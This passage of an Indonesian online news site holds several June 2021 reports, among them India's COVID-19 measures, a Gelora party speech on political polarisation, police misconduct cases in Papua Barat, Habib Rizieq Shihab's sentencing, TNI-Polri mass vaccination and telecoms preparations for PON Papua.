tidaklah berkepanjangan. New Delhi misalnya, mulai menerapkan lockdown total pada 17 April 2021 dan ketika kasus mulai terkendali, maka pada 31 Mei 2021 mulai dilakukan pelonggaran dalam bentuk unlocking process secara bertahap," katanya. Hal ke dua yang dilakukan di India adalah meningkatkan jumlah tes secara amat bermakna. Pada Februari 2021 sebelum ada peningkatan kasus, jumlah tes yang dilakukan per hari berkisar antara 700 ribu hingga 800 ribu. "Begitu ada peningkatan kasus, jumlah tes dinaikkan secara amat besar-besaran dan mencapai lebih dari dua juta tes seharinya pada Mei 2021," katanya. Tjandra mengatakan kegiatan testing punya tiga manfaat yang amat penting. Pertama, mereka yang positif dapat ditangani dari aspek kesehatannya. Kedua, mereka dapat diisolasi atau dikarantina mandiri atau dirawat sesuai kebutuhan. Ketiga, dapat diputus rantai penularan dari yang positif ke masyarakat sekitarnya. "Tentu saja sesudah tes, harus diikuti dengan kegiatan telusur yang masif pula," katanya. Tjandra menambahkan hal ketiga yang juga amat ditingkatkan di India adalah vaksinasi. Begitu kasus meningkat, India juga melakukan vaksinasi secara besar-besaran dan jumlahnya meningkat amat tajam hampir 15 kali lipat dalam empat bulan. Dalam sehari, kata Tjandra, vaksinasi dapat mencapai tiga juta orang. "Tentu saja selain ke tiga upaya besar ini, pelayanan kesehatan juga amat diperkuat di India pada bulan-bulan yang kasusnya amat tinggi," katanya. Selain tiga hal itu, kata Tjandra, bagi masyarakat perlu terus memperketat protokol kesehatan 3M dan juga 5M. "Kalau toh amat terpaksa keluar rumah, maka lakukanlah tiga hal. Ke satu, tetaplah patuh untuk menjaga jarak, WHO menyebutnya sebagai farther away from others safer than close together," katanya. Jika terpaksa harus berkumpul, kata Tjandra, memang akan jauh lebih baik kalau dilakukan di udara terbuka. "Kalau betul-betul terpaksa harus di dalam ruangan, maka anjurannya adalah jendela dibuka agar ada ventilasi terbuka dengan udara luar atau diterapkan desain ruangan dengan menerapkan teknologi sirkulasi udara dengan tepat," katanya. Anjuran berikutnya adalah mengurangi lamanya waktu kalau harus berada di luar rumah untuk mengantisipasi penularan COVID-19. (mth)

Anis Matta: Indonesia Perlu Tekad Kuat Akhiri Pembelahan Politik

Jakarta, FNN – Indonesia membutuhkan sumpah baru, setelah Sumpah Palapa dan Sumpah Pemuda, yakni Sumpah Tekad Indonesia. “Kita perlu sumpah ketiga, Sumpah Tekad Indonesia, sumpah yang bisa menyatukan semangat nasionalisme baru, menjadikan Indonesia sebagai kekuatan kelima dunia,” ujar Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta. Anis Matta menyampaikan hal itu saat memberikan pengantar Gelora Talk4 dengan tema ‘Pembelahan Politik di Jagat Media Sosial: Residu Pemilu yang Tak Kunjung Usai’ di Gelora Media Centre, Jakarta, Selasa (22/6/2021) petang. Sumpah Tekad Indonesia, tambah Anis Matta, sebagai narasi bersama dalam upaya menghadapi tantangan besar untuk menyelesaikan krisis berlarut saat ini. Dalam menghadapi tantangan tersebut, tidak hanya membutuhkan konsolidasi seluruh elemen bangsa, tetapi juga membutuhkan inovasi akal kolektif sebagai bangsa. Diskusi ini menghadirkan narasumber Sekretaris Jenderal Partai Gelora Mahfuz Sidik, peneliti komunikasi dan politik Guntur F. Prisanto, Founder Spindoctor dan penggerak JASMEV Dyah Kartika Rini dan penggerak Relawan Ganti Presiden (RGP) Ari Saptono. Menurut dia, Indonesia harus bisa menjadi bagian dari kepemimpinan global, ketika seluruh dunia tengah mengalami krisis sistemik, yang diperparah krisis pandemi Covid-19 saat ini. “Pertama ada krisis lingkungan, kedua krisis sosial akibat ketimpangan ekonomi. Ketiga disrupsi terus menerus akibat inovasi teknologi, dan keempat konflik politik antara dua kekuatan utama dunia, yaitu Amerika dan China,” katanya. Akibatnya, kepemimpinan global tersebut menjadi tidak efektif bekerja, sehingga membuat kebingungan dan kegamangan di hampir semua negara, termasuk di Indonesia. “Saya ingin mengatakan, bahwa sebenarnya akar dari pembelahan yang terjadi di masyarakat kita ini, merupakan fenomena yang sama juga ditemukan di seluruh dunia,” katanya. Kegamangan ini, lanjut Anis Matta, bukan buntut dari dukungan politik terhadap calon presiden A atau B pada Pilpres lalu. Melainkan kebingungan kolektif dari para pemimpin dalam memahami arah sejarah bangsa. “Kita semua mengalami kebingungan kolektif, kita gagal memahami dan tidak tahu arah sejarah yang sedang kita tuju, itu kemana? Kebingungan ini ada pada para pemimpin kita sekarang,” kata Ketua Umum Partai Gelora Indonesia ini. Apabila kebingungan kolektif tersebut terus dibiarkan, maka dikuatirkan akan membuat pembelahan sosial dan politik di masyarakat semakin dalam. Pembelahan sosial sejatinya merupakan ancaman besar seperti ancaman militer dari negara lain. “Ancaman ini akan menjadi jauh lebih serius disebabkan krisis yang sekarang semakin berkembang. Disinilah, perlunya kita sebuah sumpah ketiga, Sumpah Tekad Indonesia untuk menyatukan arah sejarah, mengkonsolidasi seluruh potensi kita dan membuat kita bisa fokus menyelesaikan krisis sekarang,” pungkasnya. (sws)

Oknum Anggota Polisi di Sorong Diduga Bakar Istrinya Hingga Meninggal

Sorong, FNN - Seorang oknum anggota polisi berinisial PS berpangkat Bripka di Sorong, Provinsi Papua Barat diduga membakar istrinya hingga meninggal dunia. Kapolres Sorong Kota AKBP Ary Nyoto Setiawan saat dikonfirmasi, Kamis, membenarkan kejadian tersebut. Peristiwa itu terjadi pada 22 Juni 2021, di Kelurahan Doom, Distrik Sorong Kepulauan. Dia mengatakan bahwa korban BP, istri oknum anggota polisi tersebut, sempat dilarikan ke rumah sakit untuk mendapat perawatan medis, namun tidak tertolong. Menurutnya, pihak kepolisian mendapatkan laporan dari pihak keluarga korban bahwa kematian korban tidak wajar, sehingga ditindaklanjuti. Pihaknya menduga ada persoalan atau permasalahan keluarga yang kemudian berujung penganiayaan sampai terjadi kematian. "Kami telah melakukan pemeriksaan pada lokasi kejadian. Pelaku dalam kasus ini akan ditindak tegas," ujarnya. Kapolres pastikan oknum anggota polisi PS akan menjalani sidang kode etik, dan jika terbukti bersalah secara otomatis akan diberhentikan dengan tidak hormat serta menjalani proses hukum. Ia menambahkan bahwa saat ini oknum anggota polisi PS itu, telah ditahan dan dilakukan pengembangan. Jika ditemukan adanya unsur berencana dalam penganiayaan tersebut akan ditindak tegas. Kapolres juga merasa prihatin atas kejadian yang menimpa anggota dan istrinya tersebut. Ia mengimbau kepada pihak keluarga korban yang ditinggalkan untuk menyerahkan sepenuhnya kasus ini kepada pihak kepolisian. "Kami belum ketahui dengan pasti motif PS membakar rumah dan istrinya, karena masih dalam pengembangan pihak kepolisian. Namun dugaan sementara berkaitan dengan persoalan ekonomi keluarga," ujar Kapolres Sorong Kota itu pula. (mth)

Polres Manokwari Bekuk Tiga Oknum Anggota Polisi Saat Pesta Sabu-Sabu

Manokwari, FNN - Tiga oknum anggota Polri dibekuk Satuan Reserse Narkoba Polres Manokwari saat berpesta sabu-sabu di salah satu kamar indeos di Jalan Trikora Maripi, Kecamatan Manokwari Selatan pukul 01.05 WIT, Kamis dini hari. Kepala Bidang (Kabid) Humas Polda Papua Barat Kombes Adam Erwindi membenarkan penangkapan terhadap tiga oknum anggota Polri di Manokwari bersama barang bukti 9 plastik bening berisi sabu-sabu, satu pemantik, satu buah telepon genggam, dan satu alat isap bong. "Benar, tiga oknum anggota Polri berinisial I, H, dan R ditangkap tim Opsnal Sat Narkoba Polres Manokwari dibantu personel Bidang Propam Polda Papua Barat, di salah satu kamar kos di Jalan Trikora Maripi," kata Kabid Humas. Dia mengatakan tiga oknum anggota Polri tersebut sudah diamankan di ruang tahanan anggota Polres Manokwari untuk pemeriksaan dan proses hukum lebih lanjut. Adam Erwindi mengakui keterlibatan tiga oknum anggota Polri ini menjadi atensi khusus Kapolda Papua Barat Irjen Pol Tornagogo Sihombing dalam upaya pembersihan keterlibatan anggota Polri dengan barang haram tersebut. "Kapolda Papua Barat Irjen Tornagogo Sihombing berkomitmen melakukan pembersihan di institusi Polda Papua Barat," kata Adam Ia mengutarakan bahwa untuk memastikan seluruh anggota bebas dari narkoba, Kapolda memerintahkan Polres jajaran di Papua Barat untuk melakukan pengecekan urine secara berkala terhadap seluruh personelnya. "Kapolda tak main-main untuk kasus narkoba yang melibatkan oknum anggota Polri, mereka akan ditindak tegas, siapa pun yang terlibat barang haram ini," ujar Adam. Kabid Humas menambahkan bahwa komitmen Kapolda terhadap tiga oknum anggota Polri tersebut akan ditindak tegas sesuai UU Narkotika, dan secara kode etik ketiganya terancam dipecat. "Sanksi terberat adalah dipecat, bagi siapa pun oknum anggota Polri yang terlibat kasus narkoba," ujar Adam Erwindi. Kabid Humas Polda Papua Barat itu juga mengimbau kepada masyarakat bila mengetahui informasi seputar tindak pidana narkoba, bisa melaporkan kepada nomor layanan pengaduan Polda Papua Barat melalui pesan aduan cepat (pesat) atau ke nomor layanan 110. "Bagi masyarakat yang mengetahui hal -hal yang menyangkut tindak pidana silakan dilaporkan ke layanan 110 atau no pesat 08-1234-80-110," ujar Kabid Humas Polda Papua Barat itu pula. (sws)

Dewas KPK Luncurkan Aplikasi Tangani Laporan Dugaan Pelanggaran Etik

Jakarta, FNN - Dewan Pengawas Komisi Pemberantasan Korupsi (Dewas KPK) meluncurkan aplikasi pengaduan bernama OTENTIK, yaitu aplikasi penanganan laporan dugaan pelanggaran tugas, wewenang, dan kode etik di lingkungan KPK berbasis daring. "Pada hari ini (Kamis) media untuk menerima pengaduan-pengaduan masyarakat tersebut kami permudah dengan membuat suatu aplikasi yang kami beri nama OTENTIK Dewan Pengawas KPK," kata Ketua Dewas KPK Tumpak Hatorangan Panggabean saat memberikan sambutan dalam peluncuran aplikasi tersebut secara daring, Kamis. Ia mengharapkan adanya aplikasi tersebut mempermudah masyarakat untuk menyampaikan laporan kepada Dewas KPK. "Dengan peluncuran ini nantinya akan lebih memudahkan masyarakat untuk menyampaikan laporan kepada Dewan Pengawas KPK. Memang selama ini di dalam pengalaman kami satu tahun ini, Dewas KPK cukup banyak menerima pengaduan masyarakat yang berhubungan baik tentang pelaksanaan tugas dan kewenangan KPK maupun dugaan pelanggaran kode etik, cukup banyak," tuturnya. Selain itu, kata dia, diharapkan pengawasan yang ada di Dewas KPK akan lebih efektif dan efisien melalui aplikasi tersebut. "Efektifnya di mana? ada komunikasi yang intens nantinya antara kami dengan si pelapor karena dibuka suatu fitur di mana kami bisa berkomunikasi walaupun kami tidak mengenal siapa dia. Beda kalau kami menerima melalui surat atau email karena kami akan berkomunikasi lewat email dan lewat surat. Ini mungkin mengakibatkan suatu keterlambatan dan tidak bisa "tektok" antara kami dengan pelapor," kata Tumpak. Ia menjelaskan aplikasi tersebut dikelola supervisor dan verifikator terkait laporan-laporan dari masyarakat tersebut. "Aplikasi ini tentunya tidak bisa berjalan sendiri, tetapi harus dikendalikan oleh orang, di mana di situ ada supervisor dan verifikator yang bisa mengelola aplikasi ini secara baik dan disiplin. Ini "mobile" sifatnya, kami bisa kerjakan di rumah tetapi tentu memakan waktu bagi kami," ujar Tumpak. "Saya tadi sempat ngomong-ngomong bagaimana kalau ada 10 atau 20 orang satu hari masuk di situ (aplikasi), apakah si supervisor itu bisa ber-"tektok" berkomunikasi dengan si pelapor itu. Tentunya ini memerlukan suatu kedisiplinan memerlukan waktu bagi sumber daya manusia yang ada di kami," lanjutnya. Menurut dia, peran masyarakat mewujudkan pengawasan termasuk dalam rangka pemberantasan tindak pidana korupsi sangat dibutuhkan. "Jadi, dalam mewujudkan pengawasan di lingkungan Dewas sebagai organ yang baru ada sesuai Undang-Undang Nomor 19 Tahun 2019 agar lebih efektif maka perlu kami menggalakkan peran masyarakat. Tugas Dewas sesuai dengan ketentuan perundang-undangan mengatakan kami menindaklanjuti setiap pengaduan masyarakat baik yang berhubungan dengan pelanggaran dugaan kode etik maupun pengawasan dalam rangka pelaksanaan tugas dan wewenang KPK," ujarnya. (sws)

Polres Baubau Bentuk Kampung Tangguh Antinarkoba

Kendari, FNN - Kepolisian Resor Kota Baubau, Sulawesi Tengara, membentuk Kampung Tangguh Antinarkoba di Kelurahan Tanganapada, Kecamatan Murhum, Baubau, sebagai langkah nyata institusi Polri untuk mencegah, memberantas dan memerangi penyalahgunaan narkotika khususnya di daerah itu. Kapolres Baubau AKBP Rio Tangkari di Kendari, Kamis, mengatakan pembentukan Kampung Tangguh Antinarkoba dilakukan sebab melihat kasus penyalahgunaan narkoba baik di tingkat nasional maupun daerah yang begitu banyak menyalahgunakan obat terlarang itu. "Dengan hadirnya Kampung Tangguh Antinarkoba ini merupakan wujud langkah nyata institusi Polri khususnya wilayah hukum Polres Baubau untuk mencegah memberantas dan memerangi penyalahgunaan narkotika," kata Rio. Menurutnya, narkotika adalah musuh bangsa yang harus diberantas secara serius dan tidak ada maaf bagi pengedar narkotika, karena dapat meracuni kehidupan masyarakat terutama generasi muda Indonesia dan ini harus dihentikan segera serta diberantas sampai ke akar-akarnya Ia menyebutkan, periode Januari-Juni 2021 di Indonesia, institusi Polri telah mengungkap sebanyak 19.229 kasus penyalahgunaan narkoba dan mengamankan sebanyak 24.878 tersangka dengan di peroleh barang bukti shabu seberat 7.696 kg, ganja 2.100 kg, heroin 7,3 kg, tembakau gorilla 34,3 kg dan ekstasi 239.277 butir. Dari pengungkapan kasus tersebut, lanjutnya, apabila di konversikan 1 gram di gunakan untuk 10 orang, bila barang haram tersebut berhasil beredar di pasaran, maka akan ada 70.696.000 pemuda harapan bangsa yang rusak masa depannya. "Secara khusus pengungkapan kasus penyalahgunaan narkoba Januari-Juni 2021 di wilayah hukum Polres Baubau mengungkap sembilan kasus penyalahgunaan narkotika dan mengamankan sebanyak 10 tersangka dengan di peroleh barang bukti sebanyak 174,92 gram shabu," ungkapnya. Oleh karena itu, menurut dia semua upaya yang dilakukan itu dapat terus bertahan dan berjalan apabila seluruh lapisan masyarakat bersatu untuk melawan penyalahgunaan narkotika. Sehingga perlu dukungan baik dari masyarakat, pemerintah daerah maupun instansi terkait lainnya. "Kita harus bersama-sama membuat komitmen untuk menolak segala bentuk penyalahgunaan narkotika di wilayah Kota Baubau serta terus menggelorakan stop penyalahgunaan narkotika," ujar Rio. Asisten I Setda Baubau Rahmat Tuta menyampaikan apresiasi atas upaya yang dilakukan institusi Polri dalam mencegah generasi bangsa terutama di wilayah itu terjerumus ke penyalahgunaan narkoba. "Kami pemerintah kota memberikan apresiasi dan tentu sangat mendukung upaya Polres Baubau dalam menjaga daerah kita dari bahaya narkoba, sehingga anak-anak generasi kita aman dari narkoba," kata Rahmat. Pembentukan Kampung Tangguh Antinarkoba itu turut dihadiri Asisten I Setda Baubau Rahmat Tuta, perwakilan Dandim 1413/Buton, Ketua Pengadilan Negeri Baubau Muhammad Arif, Kepala BNN Baubau Alamsyah Jufri, Anggota DPRD Baubau La Ode Hadia, Kasi Intel Kejaksaan Negeri Baubau Buyung Anjar Purnomo, Camat Murhum Simson Nanlohy, lurah se-kecamatan Murhum dan Karang Taruna serta perwakilan masyarakat. Kegiatan itu juga dirangkaikan dengan pembacaan Deklarasi Kampung Tangguh Antinarkoba berisi enam poin di antaranya menyatakan memerangi dan menolak segala bentuk penyalahgunaan dan peredaran gelap narkotika di Kota Baubau. Berikutnya, mewujudkan wilayah Kota Baubau khususnya Kelurahan Tanganapada hidup sehat tanpa narkoba dan menciptakan generasi Indonesia hidup sehat, aktif, sportif dan inovatif serta berpartisipasi tanpa narkoba. (sws)

Divonis 4 Tahun Habib Rizieq Shihab Nyatakan Banding

Jakarta, FNN - Majelis Hakim Pengadilan Negeri Jakarta Timur memvonis pidana empat tahun penjara kepada terdakwa Habib Rizieq Shihab terkait kasus tes usap di Rumah Sakit UMMI Bogor, Jawa Barat. "Menyatakan terdakwa terbukti secara sah dan menyakinkan bersalah. Menjatuhkan pidana penjara selama empat tahun," kata Ketua Majelis Hakim Khadwanto, saat membacakan putusan di Pengadilan Negeri Jakarta Timur, Kamis. Khadwanto menjelaskan bahwa putusan tersebut berdasarkan pada pertimbangan fakta yang terungkap selama sidang kasus tes usap di RS UMMI Bogor. Majelis Hakim membacakan hal yang memberatkan di antaranya perbuatan eks pimpinan Front Pembela Islam (FPI) itu dianggap meresahkan warga karena menyatakan kondisi sehat meski terkonfirmasi terpapar COVID-19. Sementara hal yang meringankan antara lain terdakwa Rizieq memiliki tanggungan keluarga dan merupakan seorang guru agama sehingga diharapkan dapat menunjukkan kelakuan baik pada masa mendatang. Meski demikian, putusan ini lebih rendah dibanding tuntutan dari Jaksa Penuntut Umum yang meminta Rizieq dihukum pidana penjara selama enam tahun penjara. Terkait kasus tes usap di RS UMMI Bogor, Habib Rizieq Shihab didakwa dengan Pasal 14 ayat 1 Undang-Undang Nomor 1 Tahun 1946 Kitab Undang-undang Hukum Pidana tentang Peraturan Hukum Pidana juncto Pasal 55 ayat 1 ke-1 KUHP. Subsider Pasal 14 ayat 2 UU Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana juncto Pasal 55 ayat 1 ke-1 KUHP, subsider Pasal 15 UU Nomor 1 Tahun 1946 juncto Pasal 55 ayat 1 ke-1 KUHP. Dakwaan kedua disangkakan Pasal 14 ayat 1 UU Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular, juncto Pasal 55 ayat 1 ke-1 KUHP, dakwaan ketiga Pasal 216 ayat 1 KUHP, juncto Pasal 55 ayat 1 ke-1 KUHP. Kuasa hukum HRS menyesalkan putusan hakim yang tidak adil. Bukan kasus pembunuhan, bukan kasus mengkorupsi uang negara apalagi menjual aset negara, tetapi Habib Rizieq Shihab divonis hukuman begitu berat oleh majelis hakim Khadwanto dkk dalam kasus tes swab RS Ummi Bogor. Dzurriyah atau keturunan Nabi Muhammad SAW itu divonis 4 tahun penjara, hari ini Kamis (24/6/2021). Habib Rizieq dan tim kuasa hukumnya secara tegas menolak putusan majelis hakim dan akan banding. (sws)

Seorang Pengunjung Tewas Setelah Berenang di Wisata Danau Biru Kolut

Kendari, FNN - Seorang wanita meninggal dunia usai berenang di objek wisata Danau Biru, di Desa Walasiho, Kecamatan Wawo, Kabupaten Kolaka Utara (Kolut), Sulawesi Tenggara (Sultra). Kepala Sub Bagian (Kasubag) Humas Polres Kolut Aiptu Hari Hermawan melalui rilisnya yang diterima di Kendari, Kamis, mengatakan korban itu berinisial SA, usia 35 tahun asal Desa Ulu Wawo, Kecamatan Wawo, Kolaka Utara. "Telah meninggal dunia pengunjung objek wisata Danau Biru, korban berjenis kelamin perempuan inisial SA. Kejadian pada Rabu, 23 Juni 2021 sekitar jam 14.00 WITA," kata Hermawan. Ia menjelaskan kronologis kejadian, awalnya korban berenang di Danau Biru bersama keluarganya dengan menggunakan alat renang, yaitu ban dalam mobil. Namun tidak lama kemudian korban mengalami mual-mual dan muntah, sehingga ban yang digunakan langsung terbalik membuat korban panik. "Dan seketika itu keluarga korban bersama penjaga objek wisata Danau Biru langsung melakukan pertolongan kepada korban dengan membawanya ke anjungan tepi danau tersebut. Kemudian keluarga korban melakukan pertolongan pertama dengan cara RJP (resusitasi jantung paru)," ujarnya pula. Usai memberikan pertolongan pertama, lalu sekitar pukul 14.15 WITA, keluarga korban langsung membawa korban ke Puskesmas Wawo untuk dilakukan pertolongan medis. "Namun sekitar pukul 15.00 WITA, tim medis menyatakan bahwa korban telah meninggal dunia. Selanjutnya korban dibawa ke rumahnya menggunakan mobil ambulans Puskesmas Wawo," ujar Hermawan. Menurut Hermawan, berdasarkan keterangan suami korban bahwa almarhumah memiliki riwayat penyakit jantung, dan sebelumnya merencanakan untuk melakukan pemeriksaan kesehatan (medical check up) di Runah Sakit Daerah Masamba, Kabupaten Luwu Utara, Sulawesi Selatan. Dengan kejadian itu, pihaknya mengimbau agar pengelola wisata dapat berkoordinasi dengan instansi terkait untuk melakukan pemasangan tanda atau papan pengumuman keamanan (safety) di lokasi objek wisata Danau Biru, sehingga menghindari hal-hal yang tidak diinginkan. "Tidak menutup kemungkinan kecelakaan yang serupa akan terulang, dikarenakan pengunjung tidak memperhatikan penyakit yang diderita dan berbahaya apabila melakukan kegiatan di lokasi perairan," kata Hermawan pula. (sws)

Vaksinasi Massal TNI-Polri Targetkan 1 Juta Dosis Per Hari

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) dan TNI menggelar Serbuan Vaksinasi Nasional TNI-Polri dengan target 1 juta dosis per hari yang dilaksanakan di setiap markas komando kedua institusi tersebut. Kapolri Jenderal Pol Listyo Sigit Prabowo dalam tinjauan vaksinasi massal HUT Bhayangkara di Lapangan Bhayangkara, Jakarta, Kamis, mengatakan TNI-Polri dan Dinas Kesehatan bekerja sama mewujudkan arahan Presiden Joko Widodo dalam melaksanakan program vaksinasi nasional secara massal untuk mencapai 1 juta dosis per hari. "Maka kami dari jajaran kepolisian bergabung dengan TNI dan tentunya rekan-rekan di Dinas Kesehatan melaksanakan vaksinasi massal secara serentak," kata Sigit. Sigit menyebutkan, ada 2.100 titik lokasi pelaksanaan vaksinasi massal TNI-Polri digelar hari ini (Kamis). Khusus di lokasi Lapangan Bhayangkara menargetkan 5.000 penerima vaksin. "Harapan kami sesuai dengan arahan Presiden pada akhir Juni 2021 kita masuk angka 1 juta masyarakat yang tervaksinasi," kata Sigit. Tidak hanya itu, kata Sigit, tanggal 26 Juni 2021 Polri secara serentak melaksanakan vaksinasi COVID-19 seluruh jajaran Polri, baik itu tingkat polda, polres, dan polsek seluruh Indonesia. "Harapan kami pada tanggal tersebut dapat tercapai. Oleh karena itu kita harus bisa melaksanakan program tersebut dan bisa kami pertahankan," kata Sigit. Sigit menambahkan, kegiatan vaksinasi TNI-Polri terus digelar dengan harapan jumlah masyarakat yang tervaksinasi meningkat. "Demikian kegiatan vaksinasi kali ini kami lakukan dalam rangka menyambut momentum Hari Bhayangkara," kata Sigit. Sementara itu, Panglima TNI Marsekal TNI Hadi Tjahjanto mengatakan vaksinasi massal ini tidak hanya dilaksanakan di wilayah remote seperti Kodim, Koramil, Lanud dan Lanal, tetapi di fasilitas publik seperti pelabuhan dan sentra perekonomian. "Vaksinasi yang dilaksanakan TNI-Polri di sentra perekonomian salah satu contoh adalah di Tanjung Perak Surabaya adalah tempat pelabuhan yang cukup padat kita laksanakan dan termasuk di Tanjung Emas Semarang kita laksanakan vaksinasi secara serentak yang dilakukan TNI-Polri," kata Panglima. Panglima berharap dengan sinergitas TNI-Polri dan Dinas Kesehatan target 1 juta dosis per hari bisa terealisasi secara serentak. "Nanti kita lihat, Insya Allah semuanya bisa terealisasi," ujar Panglima. Menteri Kesehatan Budi Gunadi Sadikin mengapresiasi peran TNI-Polri dalam mendukung program vaksinasi nasional dengan target 1 juta dosis per hari. Menurut dia, alur pelaksanaan vaksinasi yang dilaksanakan TNI-Polri khususnya di Jakarta sudah baik dan aman direplikasikan ke seluruh daerah. "Sekali lagi, untuk mengejar angka 1 juta suntik per hari tidak mungkin dilakukan sendiri, kita harus kompak bersama melakukan, dan saya bangga melihat TNI-Polri mampu membantu kita bersama-sama," kata Budi. (sws)

PPNI Garut Minta Polisi Proses Hukum Pemukul Perawat

Garut, FNN - Dewan Pengurus Daerah Persatuan Perawat Nasional Indonesia (PPNI) Garut meminta kepolisian melakukan proses hukum terhadap pelaku pemukulan perawat yang sedang melaksanakan tugas menangani pasien terpapar COVID-19 di Puskesmas Pameungpeuk, Kabupaten Garut, Jawa Barat. "Kami meminta kepada pihak berwajib setempat untuk mengusut tuntas kasus kekerasan tersebut dan berikan efek jera, agar kejadian serupa tidak terulang kembali," kata Ketua DPD PPNI Garut Karnoto, di Garut, Kamis. Ia menuturkan DPD PPNI sudah menerima laporan adanya seorang perawat yang berpakaian alat pelindung diri (APD) mendapatkan perlakuan kekerasan dari seseorang yang diduga keluarga pasien di Puskesmas Pameungpeuk, Rabu (23/6). Perbuatan pelaku itu, kata dia, telah menghambat tugas perawat yang sedang menangani pertolongan pertama pasien, sehingga perlu diproses sesuai aturan hukum karena ada unsur pidananya. "Sebuah pelanggaran pidana dan bisa berujung penjara, terlebih berikutnya diketahui bahwa pasiennya memang positif COVID-19," kata Karnoto. Ia menyampaikan Kecamatan Pameungpeuk merupakan kategori zona merah penyebaran pandemi COVID-19, sehingga perlu diwaspadai oleh semua pihak termasuk petugas kesehatan yang berhadapan langsung dengan pasien. Karnoto menyesalkan adanya masyarakat yang melakukan tindakan kekerasan terhadap perawat saat melaksanakan tugas sendirian membantu pasien COVID-19. "Menyesalkan tindakan kekerasan pada seorang perawat di Puskesmas Pameungpeuk oleh seorang keluarga pasien," katanya pula. Aksi kekerasan terhadap seorang perawat di Puskesmas Pameungpeuk itu terekam oleh kamera pengintai yang terpasang di puskesmas tersebut, dan tersebar ke masyarakat luas melalui aplikasi WhatsApp. Dalam tayangan video berdurasi 24 detik itu, tampak seorang perawat berpakaian APD menangani seorang pasien dan dibaringkan di tempat tidur. Seseorang yang diduga keluarga pasien tampak memukul perawat dengan tangan kosong, dan dilerai oleh orang lain, kemudian pelaku berlalu pergi. (sws)

Kemenkumham Sumbar Deportasi Delapan WNA Sepanjang 2021

Padang, FNN - Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Sumatera Barat (Sumbar) melalui Kantor Imigrasi Padang dan Agam telah mendeportasi sebanyak delapan warga negara asing (WNA) sepanjang 2021. "Sejak Januari hingga saat ini ada delapan WNA yang dideportasi, satu dari Amerika Serikat, dan tujuh lainnya warga negara Malaysia," kata Kepala Divisi Keimigrasian Kanwil Kemenkumham Sumbar Syamsul Efendi Sitorus, di Padang, Kamis. Ia menegaskan bahwa dalam kondisi pandemi COVID-19, pihaknya tetap memaksimalkan pengawasan serta penindakan terhadap WNA yang melanggar aturan. Dia merinci delapan WNA tersebut, empat di antaranya merupakan penindakan oleh Kanim Kelas I TPI Padang, dan empat lainnya dari Kanim Agam. Penindakan oleh Kantor Imigrasi Padang satu di antaranya WNA asal Amerika Serikat dideportasi atas pelanggaran memberikan keterangan yang tidak benar saat mengajukan perpanjangan izin tinggal. Sedangkan tiga orang lainnya termasuk empat WNA hasil penindakan Imigrasi Agam berasal dari Malayasia, dideportasi karena melebihi izin tinggal (overstay). "Karena pelanggaran tersebut, akhirnya dilakukan deportasi terhadap para WNA," katanya pula. Ia mengatakan saat ini pihaknya terus melakukan pengawasan terhadap orang asing yang ada di Sumbar, baik pengawasan bersifat langsung maupun yang sifatnya administrasi. Pengawasan itu dilakukan demi memastikan WNA yang berada di wilayah Indonesia khususnya Sumbar sesuai dengan aturan dan ketentuan, serta untuk menghindari berbagai permasalahan yang muncul terkait dengan keberadaan serta kegiatan orang asing. (sws)

Kominfo Pastikan Telekomunikasi PON Papua Lancar

Jakarta, FNN - Kementerian Komunikasi dan Informatika (Kominfo) memastikan telekomunikasi saat penyelenggaraan Pekan Olahraga Nasional (PON) XX di Jayapura, Papua, akan berjalan dengan lancar. "Persiapan Kominfo untuk mendukung Kementerian Pemuda dan Olahraga dan Panitian Besar PON menjadi penting dan krusial," kata Menteri Kominfo Johnny G. Plate, saat acara virtual Forum Barat Merdeka 9 "Mengintip Kesiapan PON XX Papua", Kamis. Kementerian Kominfo melalui Badan Aksesibilitas Telekomunikasi dan Informasi saat ini sedang membangun infrastruktur telekomunikasi di berbagai titik, termasuk di wilayah Papua. Menurut Johnny, pembangunan infrastruktur melihat situasi terkini tidak mungkin selesai menjelang penyelenggaraan PON XX tahun ini, namun, pemerintah mengupayakan lebar pita atau bandwidth cukup. "Kita akan mengambil seluruh langkah untuk memastikan tersedianya layanan telekomunikasi dan bandwidth yang cukup untuk sebelum, selama dan setelah PON," kata Johnny. Lalu lintas telekomunikasi pada perhelatan olahraga nasional itu diperkirakan akan besar sehingga Kominfo sudah menyiapkan antisipasi berupa cadangan, backup, telekomunikasi terutama di tempat penyelenggaraan PON, penginapan atlet dan lokasi penyelenggara kegiatan. Beberapa waktu lalu, kabel serat optik bawah laut di di Papua sempat putus sehingga menyebabkan wilayah Papua tidak mendapat akses telekomunikasi. Johnny menegaskan kabel tersebut sudah selesai diperbaiki dan transmisi data dari wilayah Indonesia Barat ke Papua maupun sebaliknya sudah pulih dan bisa berjalan. "Saat ini serat optik sudah kembali normal seperti sebelum putus," kata Johnny. Kementerian saat itu segera menggandeng operator seluler untuk memperbaiki kabel serat optik bawah laut, yang putus karena aktivitas alami di dasar laut. "Kami mengambil langkah cepat bersama operator seluler untuk pemulihan, membangun kabel bawah laut di kedalaman yang sama, namun, dengan rute baru," kata Johnny. Setelah pemulihan jaringan telekomunikasi tersebut, saat ini pemerintah sedang meningkatkan kapasitas telekomunikasi di lokasi tersebut. Selain dari pemerintah, menurut Johnny, operator seluler juga berkomitmen untuk memastikan kualitas infrastruktur dan telekomunikasi di Papua, termasuk menyediakan cadangan ketika diperlukan. Di luar masalah kesiapan infrastruktur telekomunikasi, Johnny mengingatkan masyarakat untuk menggunakan ruang digital dengan bijak ketika periode PON XX Papua nanti, yang juga akan bisa ditonton melalui platform digital. (mth)

KPK Limpahkan Berkas Perkara Bupati Muara Enim Nonaktif ke Pengadilan

